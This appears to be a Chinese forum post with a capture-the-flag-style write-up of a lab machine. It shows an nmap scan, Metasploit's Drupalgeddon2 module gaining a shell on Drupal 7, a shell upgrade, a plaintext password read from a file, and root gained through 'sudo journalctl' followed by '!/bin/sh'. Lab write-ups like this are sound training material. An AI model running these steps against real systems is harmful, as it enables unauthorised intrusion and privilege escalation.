本帖最后由 Happiness 于 2024-7-14 11:46 编辑
0x01 靶机信息
0x02 Write-Up
2.1 信息收集
2.1.1 主机扫描
目标机IP:192.168.181.166
使用nmap工具扫描
nmap -sS -Pn -p- -A -T4 192.168.181.166
-sS 隐蔽扫描,-Pn 禁Ping,-p- 所有端口,-A 综合扫描,-T4 快速扫描
扫描出目标机开放了22,80,5000,8081,9001,很多的http端口
![image](https://img-oss.hg021b.org/2024/7/4468d253cedc4f26a901be69d5e656a9.png)
2.1.2 访问http服务
根据作者提示,我们一个个访问网站并查看CMS
默认主页推测是Joomla
![image](https://img-oss.hg021b.org/2024/7/771facf1ff0f53f0b2d6239625ef1c98.png)
5000端口推测Joomla+WordPress5.7.2
![image](https://img-oss.hg021b.org/2024/7/d98a3d5cf310f28446dc502b38634bc4.png)
8081端口也是Joomla+WordPress5.7.2
![image](https://img-oss.hg021b.org/2024/7/e1ff846ac48dabf82bb66e53aabffa4b.png)
9001端口推测是Joomla+WordPress5.7.2+Drupal7
![image](https://img-oss.hg021b.org/2024/7/a922640ccb976826fefc0246c4104719.png)
提示中按给定的顺序:P,可以锁定第四个,P也在第四个
2.1.3 搜索msf中可利用的漏洞
选择影响范围广泛的drupal_drupalgeddon2
![image](https://img-oss.hg021b.org/2024/7/518c2d78425d1a5e448142e1c83243a8.png)
漏洞描述(https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/)
Drupal 在 Form API (FAPI) AJAX 请求上没有足够的输入过滤功能。因此,这使攻击者能够潜在地将恶意有效负载注入内部表单结构中。这将导致Drupal在没有用户身份验证的情况下执行它。通过利用此漏洞,攻击者将能够对任何Drupal客户进行完整的站点接管。
该漏洞存在于从 6 到 8 的所有 Drupal 版本中,但此后已修补给手动更新其站点的人。
2.2 渗透路线
2.2.1 drupal_drupalgeddon2漏洞利用
use 1选择数字1的模块
show options 查看模块具体配置内容
set Name 配置参数
注意rhosts和rport为目标机的IP和端口,需要配置,L开头的是本地配置
![image](https://img-oss.hg021b.org/2024/7/6ce96ded4207c76fc84e4bb513983bf6.png)
exploit执行,利用成功
![image](https://img-oss.hg021b.org/2024/7/d6af645e7b4cd0ce6ca3b14209a5f9c0.png)
2.2.2 升级shell环境
shell 进入shell环境
SHELL=/bin/bash script -q /dev/null 升级shell环境
![image](https://img-oss.hg021b.org/2024/7/cc92cec49f1503148a6075226815e8d6.png)
2.2.3 提权用户tyrell
浏览drupal目录的时候发现了tyrell.pass文件
![image](https://img-oss.hg021b.org/2024/7/75043be183b049c675b9e6aa288d8c24.png)
tyrell.pass
Username: tyrell
Password: mR_R0bo7_i5_R3@!_
经确认存在tyrell用户
![image](https://img-oss.hg021b.org/2024/7/9595efeb27d125655d8ece9f03c24f68.png)
提权tyrell用户
![image](https://img-oss.hg021b.org/2024/7/056d0fbdc63b310183323528a0f0c9d0.png)
在家目录获取到sudo_as_admin_successful的提示,发现sudo权限可以执行journalctl命令
![image](https://img-oss.hg021b.org/2024/7/99390e57b2ad70f4c5d5056f06e786c5.png)
2.2.4 利用sudo提权
sudo journalctl
!/bin/sh
提权成功
![image](https://img-oss.hg021b.org/2024/7/e4826d3d513737faf15c1a859218c346.png)